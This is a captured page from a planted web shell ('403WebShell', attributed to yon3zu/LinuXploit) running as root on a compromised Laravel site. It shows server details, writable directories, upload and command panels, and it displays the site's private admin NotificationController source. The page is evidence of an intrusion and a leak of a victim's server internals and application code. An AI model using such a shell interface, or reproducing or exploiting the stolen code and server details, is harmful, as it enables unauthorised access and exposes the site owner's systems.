Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Http/Controllers/Admin/NotificationController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Helpers\UserAccessHelper;
use App\Http\Controllers\Controller;
use App\Models\Notification;
use App\Models\NotifiedUser;
use App\Traits\UploadTrait;
use Exception;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use Ramsey\Uuid\Uuid;

class NotificationController extends Controller
{
    use UploadTrait;
    protected $_userId;
    protected $_access;
    public function __construct()
    {
        $this->_userId = ADMIN_USER_ID();
        $this->_access = UserAccessHelper::GetAccess($this->_userId,  UserAccessHelper::$code_manage_notification);
    }

    public function GetList(Request $request)
    {
        try {
            if ($this->_access->can_read == 1) {
                $list = Notification::GetList($request);
                $list['access'] = $this->_access;
                return $this->sendSuccess("success", $list);
            } else {
                $data['count'] = 0;
                $data['next_offset'] = -1;
                $data['list'] = [];
                $data['access'] = $this->_access;
                return $this->sendSuccess("success", $data);
            }
        } catch (Exception $e) {
            return $this->sendError($e->getMessage());
        }
    }

    public function GetHistory(Request $request, $uuid)
    {
        try {
            if ($this->_access->can_read == 1) {
                $list = NotifiedUser::GetHistory($request, $uuid);
                $list['info'] = Notification::GetInfoById($uuid);
                $list['access'] = $this->_access;
                return $this->sendSuccess('success', $list);
            } else {
                $data['count'] = 0;
                $data['next_offset'] = -1;
                $data['list'] = [];
                $data['access'] = $this->_access;
                return $this->sendSuccess('success', $data);
            }
        } catch (Exception $e) {
            return $this->sendError($e->getMessage() . ' ' . $e->getLine() . ' ' . $e->getFile());
        }
    }

    public function SetInfo(Request $request, $id = null)
    {
        $rules = [
            'title' => 'required|string|max:255',
            'description' => 'required|string|max:255',
            'sent_to' => 'required|in:ALL,SPECIFIC',
            'user_id' => "nullable|required_if:sent_to,SPECIFIC|string",
        ];

        $validator = Validator::make($request->all(), $rules);
        if ($validator->fails()) {
            return $this->sendError($validator->errors()->first(), Response::HTTP_UNPROCESSABLE_ENTITY);
        }

        try {
            DB::beginTransaction();
            $res = Notification::SetInfo($request,  $id);
            DB::commit();
            return $this->sendSuccess($res->message, ['id' => $res->id]);
        } catch (Exception $e) {
            DB::rollBack();
            return $this->sendError($e->getMessage());
        }
    }

    public function Destroy(Request $request, $id)
    {
        try {
            $res = Notification::DeleteInfo($request,  $id);
            return $this->sendSuccess($res);
        } catch (Exception $e) {
            return $this->sendError($e->getMessage());
        }
    }


    public function TestNotification(Request $request)
    {
        try {
            Notification::SetNotification($request->ad_id, $request->user_id, $request->title, $request->message, null, null, '1');
            return $this->sendSuccess("success");
        } catch (Exception $e) {
            return $this->sendError($e->getMessage());
        }
    }

    public function uploadNotificationImage(Request $request, $id = null)
    {
        $validator = Validator::make($request->all(), [
            'image' => 'required|image|mimes:jpg,png,gif,jpeg'
        ]);

        if ($validator->fails()) {
            return $this->sendError($validator->errors()->first(), Response::HTTP_FAILED_DEPENDENCY);
        }

        try {
            $notificationInfo = Notification::where('id',  $id)->first();
            if (!$notificationInfo) {
                return $this->sendError(trans('messages.RECORD_NOT_FOUND'));
            }
            if ($request->hasFile('image')) {
                $image = $request->file('image');
                $name = 'IMG_' . Uuid::uuid4() . '@' . time() . '.' . $image->getClientOriginalExtension();
                $folder = config('constants.NOTIFICATION_FOLDER');
                $this->uploadOne($image, $folder, $name);
                $old_logo = $notificationInfo->photo;
                $notificationInfo->image = $name;
                $notificationInfo->save();

                if ($old_logo) {
                    $this->deleteOne($folder, $old_logo);
                }
                return $this->sendSuccess("success", ['status' => 'success', 'message' => trans('messages.IMAGE_UPLOADED_SUCCESSFULLY'), 'path' => $this->getURL($folder, $name), 'name' => $name]);
            }

            return $this->sendError(trans('messages.SOMETHING_WENT_WRONG'));
        } catch (Exception $e) {
            return $this->sendError($e->getMessage());
        }
    }

    public function deleteBannerImage(Request $request, $id = null)
    {
        try {
            $bannerInfo = Notification::where('id',  $id)->first();
            if (!$bannerInfo) {
                return $this->sendError(trans('messages.RECORD_NOT_FOUND'));
            }
            $bannerInfo->photo = null;
            $image = $bannerInfo->photo;
            $bannerInfo->save();
            $this->deleteOne(config('constants.NOTIFICATION_FOLDER'), $image);
            return $this->sendSuccess("success", ['status' => 'success', 'message' => trans('messages.IMAGE_DELETED_SUCCESSFULLY')]);
        } catch (Exception $e) {
            return $this->sendError($e->getMessage());
        }
    }

    public function ResendNotification(Request $request, $id)
    {
        try {
            $getInfo = Notification::where('id', $id)->with(['notified_users'])->first();
            if (!$getInfo) {
                return $this->sendError(trans('messages.RECORD_NOT_FOUND'));
            }

            if (count($getInfo->notified_users) > 0) {
                foreach ($getInfo->notified_users as $key => $value) {
                    Notification::SetNotification($value->user_id, $getInfo->title, $getInfo->message, null, null, '1');
                }
            }

            return $this->sendSuccess(trans('messages.NOTIFICATION_SENT_SUCCESSFULLY'));
        } catch (Exception $e) {
            return $this->sendError($e->getMessage());
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit